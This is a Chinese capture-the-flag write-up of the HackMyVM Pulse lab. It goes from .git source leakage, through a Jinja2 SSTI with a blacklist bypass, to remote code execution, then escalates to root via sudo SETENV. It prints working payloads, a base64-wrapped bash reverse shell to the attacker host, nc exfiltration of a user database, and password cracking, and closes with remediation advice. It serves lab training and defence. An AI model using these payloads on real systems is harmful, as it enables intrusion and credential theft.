HackMyVM Pulse 靶机通关记录|.git 源码泄露、Jinja2 SSTI 到 RCE 与 sudo SETENV 提权
靶机链接:Pulse
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.109 | 攻击机 |
| Pulse | 192.168.1.115 | Ubuntu 26.04.1 LTS(Linux 7.0.0-31-generic) |
靶机包含两枚 Flag:用户 Flag(位于 /home/alex/user.txt)与 Root Flag(位于 /root/root.txt)。
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp OpenSSH 10.2p1、53/tcp 处于 closed、80/tcp nginx 1.28.3 | 确定 Web 为唯一业务入口,SSH 为后续登录通道 |
| Web 侦察 | robots.txt 暴露 /dev/ 与 /internal/,响应头 X-Notice 点名 pulse.hmv / monitor.pulse.hmv | 获得虚拟主机线索与隐藏目录 |
| 信息泄露 | /dev/ 内部公告板明确提示 .git 目录暴露、诊断端点 Token 已提交至仓库、数据库同步工具位于 /opt/pulse/ | 直接给出三条攻击路径 |
| 源码泄露 | monitor.pulse.hmv/.git/ 返回 200,git-dumper 拉取到 3 次提交的完整源码 | 拿到 DIAGNOSTIC_TOKEN 与 SSTI 注入点 |
| SSTI 验证 | /diagnostics 提交 {{7*7}} 回显 49 | 确认服务端模板被当作代码执行 |
| 黑名单绕过 | {{ cycler.__init__.__globals__[('o'~'s')][('po'~'pen')]('id').read() }} | 绕过关键字过滤,获得 www-data 命令执行 |
| 反弹 Shell | base64 编码的 bash -i >& /dev/tcp/192.168.1.109/4444 0>&1,penelope 自动 PTY | 获得可交互的稳定 Shell |
| 凭据收割 | /opt/pulse/data/users.db 属组 www-data 可读,nc 回传后 john 破解 | 得到 alex : starlight |
| 横向登录 | ssh alex@192.168.1.115,sudo -l 显示 SETENV: NOPASSWD: /usr/local/bin/pulse-audit | 读取 User Flag,并锁定提权原语 |
| Root 提权 | sudo PULSE_CONFIG=/var/tmp/audit_evil.json pulse-audit,pre_audit_cmd 以 root 在 /var/tmp 写入 SUID Bash | /var/tmp/rootbash -p 获得 euid=0(root) Shell 并读取双 Flag |
0x02 侦察与信息收集
1. 主机发现与端口扫描
使用 RustScan 联动 Nmap 对全端口与常见服务进行探测:
rustscan -a 192.168.1.115 --ulimit 5000 -b 500 -- -sC -sV -oN rustscan_nmap_initial.txt
扫描结果:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.2p1 Ubuntu 2ubuntu3.6 (Ubuntu Linux; protocol 2.0)
53/tcp closed domain reset ttl 64
80/tcp open http syn-ack ttl 64 nginx 1.28.3 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.28.3 (Ubuntu)
|_http-title: Pulse Systems | Distributed Telemetry & Infrastructure Observa...
| http-robots.txt: 2 disallowed entries
|_/dev/ /internal/
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap 报告 53/tcp closed,说明靶机并未运行 DNS 服务,虚拟主机解析需要手动写入 /etc/hosts。
2. 响应头与 robots.txt 线索
访问主站首页查看响应头:
curl -s -i http://192.168.1.115/ | head -30
关键响应头:
HTTP/1.1 200 OK
Server: nginx/1.28.3 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Content-Length: 8124
Last-Modified: Thu, 10 Sep 2026 10:11:22 GMT
X-Notice: Virtual host resolution required. Try: pulse.hmv or monitor.pulse.hmv
X-Notice 直接泄露了两个虚拟主机名。继续读取 robots.txt:
curl -s http://192.168.1.115/robots.txt
User-agent: *
Disallow: /dev/
Disallow: /internal/
# Pulse Infrastructure Portal
# Notice: Internal monitoring and diagnostic tools moved to: http://monitor.pulse.hmv
3. /dev/ 内部公告板
robots.txt 中的 /dev/ 可匿名访问,页面是一份 Sprint 42 的内部公告:
curl -s http://192.168.1.115/dev/
公告核心内容:
Pulse Systems - Internal DevOps Bulletin (Sprint 42)
Author: Alex Morgan (alex@pulse.hmv)
- The real-time node monitoring portal has been published to http://monitor.pulse.hmv.
- CRITICAL SECURITY REMINDER: ... Never leave raw .git repository folders exposed on public web roots.
- The diagnostic alerting endpoint /diagnostics now requires authorization.
The access token was committed to the repository for staging tests.
- Database user synchronization utility will run nightly from /opt/pulse/.
这份公告一次性给出了后续全部攻击要素:暴露的 .git、/diagnostics 的 Token 在仓库中、数据库位于 /opt/pulse/。在真实环境中,这类“内部提醒”页面本身就是高价值的情报泄露点。
4. 配置虚拟主机解析
将公告中提到的域名写入 /etc/hosts:
echo "192.168.1.115 pulse.hmv monitor.pulse.hmv pulse.lan" | sudo tee -a /etc/hosts
0x03 .git 源码泄露与凭据提取
1. 确认 .git 目录暴露
公告板明确提示 .git 未清理,直接对 monitor.pulse.hmv 逐路径验证:
for path in .git/ .git/HEAD .git/config; do
code=$(curl -s -o /dev/null -w "%{http_code}" -H "Host: monitor.pulse.hmv" "http://192.168.1.115/$path")
echo "monitor.pulse.hmv /$path -> $code"
done
monitor.pulse.hmv /.git/ -> 200
monitor.pulse.hmv /.git/HEAD -> 200
monitor.pulse.hmv /.git/config -> 200
2. git-dumper 拉取完整源码
git-dumper http://monitor.pulse.hmv/.git/ ./monitor-git
[-] Fetching http://monitor.pulse.hmv/.git/objects/...
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 4 paths from the index
查看提交历史与文件结构:
git -C monitor-git log --oneline --all
ls -la monitor-git/
483e1a3 security: enforce X-Pulse-Auth header authentication on /diagnostics endpoint
65fdb69 feat: add notification template rendering sandbox for alert testing
21c9346 feat: initial commit for Pulse cluster telemetry monitor
app.py config.py templates/
3. 源码审计
config.py 泄露了 Flask 密钥与数据库路径:
# Pulse Monitoring Configuration
DEBUG = False
SECRET_KEY = "c798e1f02a45b891d2ef64098bc19a32"
# Central user database location
DATABASE_PATH = "/opt/pulse/data/users.db"
# Lead Infrastructure Engineer
MAINTAINER = "alex@pulse.hmv"
app.py 则同时泄露了诊断 Token 与一处模板注入点:
DIAGNOSTIC_TOKEN = "pU1s3_d14gn0st1cs_k3y_98234"
@app.route('/diagnostics', methods=['GET', 'POST'])
def diagnostics():
...
token = request.headers.get('X-Pulse-Auth') or request.form.get('token') or request.args.get('token')
if token != DIAGNOSTIC_TOKEN:
return jsonify({...}), 403
template = request.form.get('template') or request.args.get('template') or "System Health: All metrics within threshold."
# Filter dangerous keywords in templates
blacklist = ['os', 'popen', 'system', 'subprocess', 'eval', 'exec', 'commands', '__import__']
for keyword in blacklist:
if keyword in template.lower():
return jsonify({...}), 400
try:
rendered = render_template_string(template)
return jsonify({"status": "success", "output": rendered})
render_template_string(template)直接把用户输入当作 Jinja2 模板源码编译,是典型的 SSTI(服务端模板注入);- 黑名单只是朴素子串匹配,且校验发生在模板渲染之前——只要模板里不出现
os、popen这些字面量即可绕过。
0x04 Jinja2 SSTI 到 RCE
1. 验证诊断 Token 与模板求值
/diagnostics 未携带 Token 时返回 403:
curl -s -X POST -H "Host: monitor.pulse.hmv" -F "template={{7*7}}" http://192.168.1.115/diagnostics
# {"message":"Access Denied: Missing or invalid diagnostic authentication token.","status":"error"}
带上 .git 中泄露的 DIAGNOSTIC_TOKEN 后,算术表达式被正常求值:
curl -s -X POST -H "Host: monitor.pulse.hmv" \
-H "X-Pulse-Auth: pU1s3_d14gn0st1cs_k3y_98234" \
-F "template={{7*7}}" http://192.168.1.115/diagnostics
# {"output":"49","status":"success"}
curl -s -X POST -H "Host: monitor.pulse.hmv" \
-H "X-Pulse-Auth: pU1s3_d14gn0st1cs_k3y_98234" \
-F "template={{7*'7'}}" http://192.168.1.115/diagnostics
# {"output":"7777777","status":"success"}
{{7*7}} 回显 49、{{7*'7'}} 回显 7777777,确认存在 Jinja2 SSTI。
2. 黑名单绕过
先验证黑名单确实生效:
curl -s -X POST -H "Host: monitor.pulse.hmv" \
-H "X-Pulse-Auth: pU1s3_d14gn0st1cs_k3y_98234" \
-F 'template={{os.popen("id").read()}}' http://192.168.1.115/diagnostics
# {"message":"Security restriction: Keyword 'os' is blocked by template sanitizer.","status":"error"}
由于过滤是子串匹配,使用 Jinja 的字符串拼接运算符 ~ 把关键字拆开即可绕过——模板源码中不再出现 os / popen 字面量,但渲染时仍会拼出完整属性名:
PAYLOAD="{{ cycler.__init__.__globals__[('o'~'s')][('po'~'pen')]('id').read() }}"
curl -s -X POST -H "Host: monitor.pulse.hmv" \
-H "X-Pulse-Auth: pU1s3_d14gn0st1cs_k3y_98234" \
--data-urlencode "template=$PAYLOAD" http://192.168.1.115/diagnostics
{"output":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","status":"success"}
'o'~'s' 能绕过cycler 是 Jinja2 内置全局对象,其 __init__.__globals__ 就是模板运行时的 Python 全局命名空间,因此可以直接取到 os 模块。黑名单在原始字符串上做 keyword in template.lower() 判断,而 ('o'~'s') 只是两个普通字符串常量,拼接发生在渲染阶段,检查时自然看不到 os。
3. 反弹 Shell(penelope 自动 PTY)
为方便后续交互,把命令 base64 编码后再交给 bash 执行,既避免引号转义问题,也不会在模板中出现敏感关键字。Payload 文件 payload_rev.txt:
{{ cycler.__init__.__globals__[('o'~'s')][('po'~'pen')]('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA5LzQ0NDQgMD4mMQ== | base64 -d | bash').read() }}
其中 base64 解码后为:
bash -i >& /dev/tcp/192.168.1.109/4444 0>&1
在 Kali 上使用 penelope 开启监听(自动升级 PTY),随后投递 payload:
tmux new-session -d -s pen 'penelope -p 4444'
curl -s -m 8 -X POST -H "Host: monitor.pulse.hmv" \
-H "X-Pulse-Auth: pU1s3_d14gn0st1cs_k3y_98234" \
--data-urlencode "template@payload_rev.txt" http://192.168.1.115/diagnostics
penelope 捕获会话并自动部署 Agent、升级为 PTY:
[+] [New Reverse Shell] => pulse 192.168.1.115 Linux-x86_64 www-data(33) Session ID <1>
[+] Agent deployed via /usr/bin/python3
[+] Interacting with session [1] • PTY
0x05 数据库泄露与凭据破解
1. 系统信息与数据库定位
id; hostname; uname -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pulse
Linux pulse 7.0.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Aug 1 04:26:38 UTC 2026 x86_64 GNU/Linux
公告板提示数据库同步工具位于 /opt/pulse/,检查权限:
ls -la /home/
ls -la /opt/pulse/data/
drwxr-x--- 3 alex alex 4096 Sep 10 10:12 alex
drwxr-x--- 3 ubuntu ubuntu 4096 Sep 10 10:14 ubuntu
-rw-r--r-- 1 root www-data 20480 Sep 10 10:11 users.db
users.db 属主为 root,但属组是 www-data 且组权限可读,当前 Shell 可以直接读取。
2. 回传数据库
在 Kali 上开启接收端:
tmux new-session -d -s xfer 'nc -lvnp 5555 > users.db'
在靶机 Shell 中把数据库推送回来:
nc 192.168.1.109 5555 < /opt/pulse/data/users.db
如果目标环境不允许反向连接,也可以通过 SSTI 通道执行 base64 -w0 /opt/pulse/data/users.db,再把 base64 文本解码还原为二进制文件(附件脚本 ssti_cmd.py -b 已实现该流程)。
3. 查询数据库
sqlite3 users.db ".schema users"
sqlite3 users.db "select * from users;"
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
email TEXT NOT NULL,
role TEXT NOT NULL,
password_hash TEXT NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
1|admin|admin@pulse.hmv|Platform Director|$6$pulse$9QxK2vM3b1P4zY8nL0eW7tD5rA2sC6fG1hJ3kL5mN7pQ9rT1vW3xY5z0b2d4f6h8|2026-09-10 10:10:46
2|alex|alex@pulse.hmv|Lead Infrastructure Engineer|$6$pulse$A0zjfe.Tf.0/0cJ6usQ/5FQMcTJJ5uADzhShund6hYEke.QqiWn7U5vAYbjc2exfZXGmHrrJTukBURkCqrjOk1|2026-09-10 10:10:46
3|operator|operator@pulse.hmv|Tier-1 NOC Specialist|$6$pulse$H5kL9mP2qR4tV6wX8zA1cE3gI5kM7oQ9sU1wY3b5d7f9h1j3l5n7p9r1t3v5|2026-09-10 10:10:46
三个账号的密码均为 $6$ 前缀的 SHA512-Crypt 哈希,导出后交给 John the Ripper:
sqlite3 users.db "select username||char(58)||password_hash from users;" > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
alex:starlight
1 password hash cracked, 0 left
用 openssl passwd 本地验证口令与 alex 的哈希完全一致:
openssl passwd -6 -salt pulse starlight
$6$pulse$A0zjfe.Tf.0/0cJ6usQ/5FQMcTJJ5uADzhShund6hYEke.QqiWn7U5vAYbjc2exfZXGmHrrJTukBURkCqrjOk1
4. SSH 登录与 User Flag
sshpass -p 'starlight' ssh alex@192.168.1.115 'id; sudo -l; cat ~/user.txt'
uid=1001(alex) gid=1001(alex) groups=1001(alex)
User alex may run the following commands on pulse:
(ALL : ALL) SETENV: NOPASSWD: /usr/local/bin/pulse-audit
HMV{9b3f41c7e2a84d60b5e9f1a23c8e715d}
sudo -l 显示 alex 可以**无密码且允许设置环境变量(SETENV)**地以 root 身份运行 pulse-audit,这就是提权入口。
0x06 sudo SETENV + PULSE_CONFIG 提权
1. 分析 pulse-audit
ls -la /usr/local/bin/pulse-audit
file /usr/local/bin/pulse-audit
cat /usr/local/bin/pulse-audit
-rwxr-xr-x 1 root root 2136 Sep 10 10:11 /usr/local/bin/pulse-audit
/usr/local/bin/pulse-audit: Python script, ASCII text executable
核心逻辑(以 root 运行):
def main():
print(BANNER)
config_path = os.environ.get("PULSE_CONFIG", "/etc/pulse/audit_rules.json")
print(f"[*] Loading audit profile from: {config_path}")
...
with open(config_path, "r") as f:
cfg = json.load(f)
policy = cfg.get("policy_name", "Standard-Baseline-Audit")
print(f"[+] Active Audit Policy: {policy}")
# Execute optional pre-audit initialization routine
if "pre_audit_cmd" in cfg and cfg["pre_audit_cmd"]:
print(f"[*] Executing pre-audit routine: {cfg['pre_audit_cmd']}")
try:
subprocess.run(cfg["pre_audit_cmd"], shell=True)
两个缺陷组合即可获得 root 命令执行:
- sudo 规则授予了
SETENV,允许调用者任意覆写环境变量,从而把PULSE_CONFIG指向自己可控的 JSON 文件; - 脚本以 root 身份读取该配置,并把
pre_audit_cmd交给subprocess.run(..., shell=True)执行。
2. 构造 SUID Bash(避开 nosuid 的 /tmp)
落地目录的选择很关键:/tmp 是挂载了 nosuid 的 tmpfs,SUID 位会被内核忽略;而 /var/tmp 位于 ext4 根文件系统,SUID 正常生效。先确认挂载参数:
mount | grep -E " /tmp | /dev/shm | / "
/dev/sda2 on / type ext4 (rw,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,inode64,usrquota)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,size=841164k,nr_inodes=1048576,inode64,usrquota)
构造恶意配置,让 pre_audit_cmd 以 root 身份把 /bin/bash 复制到 /var/tmp 并加上 SUID 位:
cat > /var/tmp/audit_evil.json <<'EOF'
{"policy_name":"pwn","pre_audit_cmd":"cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash; echo done","monitored_services":["nginx"]}
EOF
sudo PULSE_CONFIG=/var/tmp/audit_evil.json /usr/local/bin/pulse-audit
======================================================
Pulse Infrastructure Automated Security Auditor
Version 1.8.2-enterprise
======================================================
[*] Loading audit profile from: /var/tmp/audit_evil.json
[+] Active Audit Policy: pwn
[*] Executing pre-audit routine: cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash; echo done
done
[*] Verifying critical service health...
- Service nginx : ACTIVE (OK)
[+] Audit scan completed successfully at 2026-09-23 07:40:59
确认 SUID 位已生效:
ls -la /var/tmp/rootbash
-rwsr-xr-x 1 root root 1540520 Sep 23 07:40 /var/tmp/rootbash
3. SUID Bash 获取 root Shell 与双 Flag
/var/tmp/rootbash -p -c "id; echo ---; cat /home/alex/user.txt; cat /root/root.txt"
uid=1001(alex) gid=1001(alex) euid=0(root) groups=1001(alex)
---
HMV{9b3f41c7e2a84d60b5e9f1a23c8e715d}
HMV{4d2c88f7b301e5a96c147289d038fa42}
-p当进程的 uid 与 euid 不一致时,Bash 启动会自动降权回 uid;-p 参数保留特权模式,才能以 euid=0(root) 执行命令。直接运行 /var/tmp/rootbash -p 即可获得交互式 root Shell。
0x07 最终成果
User Flag
- 路径:
/home/alex/user.txt - 内容:
HMV{9b3f41c7e2a84d60b5e9f1a23c8e715d}
Root Flag
- 路径:
/root/root.txt - 内容:
HMV{4d2c88f7b301e5a96c147289d038fa42}
凭据与阶段成果汇总
| 项目 / 阶段 | 凭据或结果 | 说明 |
|---|---|---|
| 诊断 Token | pU1s3_d14gn0st1cs_k3y_98234 | monitor.pulse.hmv 暴露的 .git 中 app.py 硬编码 |
| Flask SECRET_KEY | c798e1f02a45b891d2ef64098bc19a32 | config.py 泄露,可伪造会话 Cookie |
| SSTI RCE | render_template_string(template) | 黑名单被 'o'~'s' / 'po'~'pen' 绕过,获得 www-data 命令执行 |
| 反弹 Shell | penelope 自动 PTY | bash -i >& /dev/tcp/192.168.1.109/4444 0>&1 |
| 数据库 | /opt/pulse/data/users.db | 属组 www-data 可读,含 3 个账号的 SHA512-Crypt 哈希 |
| alex 凭据 | alex / starlight | rockyou 字典破解并 openssl passwd 复核 |
| User Flag | /home/alex/user.txt | SSH 登录后直接读取 |
| 提权原语 | sudo SETENV NOPASSWD: /usr/local/bin/pulse-audit | PULSE_CONFIG 可控 + root shell=True 执行任意 pre_audit_cmd |
| Root Shell | /var/tmp/rootbash -p → euid=0(root) | 通过 pre_audit_cmd 以 root 创建 SUID Bash |
| Root Flag | /root/root.txt | root Shell 中读取 |
0x08 复盘与防御建议
1. 攻击链关键节点
| 环节 | 缺陷本质 | 修复方向 |
|---|---|---|
| 信息泄露 | /dev/ 公告板向未认证用户暴露内部工具地址与安全提醒 | 内部公告必须鉴权或下线,禁止在 Web 根目录存放运维笔记 |
| 源码泄露 | 生产站点保留 .git 目录且 nginx 未屏蔽 | 部署时清理 .git,并在 Nginx 中 location ~ /\.git { deny all; } |
| 凭据硬编码 | DIAGNOSTIC_TOKEN、SECRET_KEY 直接写在源码中 | 密钥交由 Secret Manager / 环境变量注入,定期轮换;泄露后立即吊销 |
| SSTI | render_template_string() 把用户输入当模板源码 | 用户输入只能作为模板变量传入;必要时使用 SandboxedEnvironment |
| 黑名单过滤 | 朴素子串匹配可被字符串拼接绕过 | 黑名单不能作为安全边界,应改为白名单语法或模板 AST 校验 |
| 权限过宽 | users.db 属组 www-data,Web 进程可读 | 数据库文件权限最小化(640 root:root),Web 进程使用独立低权限账号 |
| 弱口令 | alex 使用字典口令 starlight | 强制口令复杂度与定期更换,改用 bcrypt/argon2 加盐存储 |
| 提权配置 | NOPASSWD 命令同时授予 SETENV,且脚本读取用户可控配置并 shell=True | 不要在 NOPASSWD 规则中授予 SETENV;固定配置文件路径与属主;禁止对配置内容执行 shell=True |
2. 关键教训
- “内部提醒”页面往往是最好的侦察报告:
/dev/公告板把.git泄露、Token 位置、数据库目录一次讲清。看到robots.txt里的Disallow条目,应当第一时间逐个访问。 .git泄露的杀伤力取决于仓库内容:这次仓库里同时存在硬编码 Token 与一处 SSTI,等于把“钥匙”和“门”一起交了出来。拿到源码后应优先全局搜索TOKEN、SECRET、PASSWORD、render_template_string等关键字。- 黑名单不是安全边界:
keyword in template.lower()只能拦截“照抄关键字”的脚本小子,Jinja 的~拼接、属性访问链(__globals__)等特性可以轻松绕过。模板沙箱必须从语法层面限制。 - 提权前先看挂载参数:SUID 位在
nosuid挂载点(如/tmp、/dev/shm)会被内核忽略,但换到位于根文件系统的/var/tmp就重新生效——一条mount命令就能决定 SUID 提权是否可行。 SETENV是 sudo 规则中的高危授权:它允许调用者控制被授权命令的环境,一旦命令本身读取环境变量(如本例的PULSE_CONFIG),就等价于把配置文件路径的控制权交给攻击者。
0x09 附件脚本
| 文件 | 说明 |
|---|---|
| ssti_cmd.py | 封装 /diagnostics 的 SSTI 命令执行,内置 Token、黑名单绕过与 base64 回传 |
| pulse_privesc.sh | 利用 sudo SETENV + PULSE_CONFIG 以 root 执行任意命令并自动清理配置 |
脚本说明:
ssti_cmd.py:通过X-Pulse-Auth携带泄露的DIAGNOSTIC_TOKEN,用('o'~'s')/('po'~'pen')绕过黑名单,并将待执行命令 base64 编码后交给目标bash;-b参数用于解码目标base64 -w0的输出,可无损回传users.db等二进制文件。pulse_privesc.sh:在靶机上以 alex 身份运行,使用mktemp生成恶意 JSON 配置,通过python3安全构造pre_audit_cmd字段,再以sudo PULSE_CONFIG=... pulse-audit执行目标命令,命令输出直接回显,结束后自动删除配置。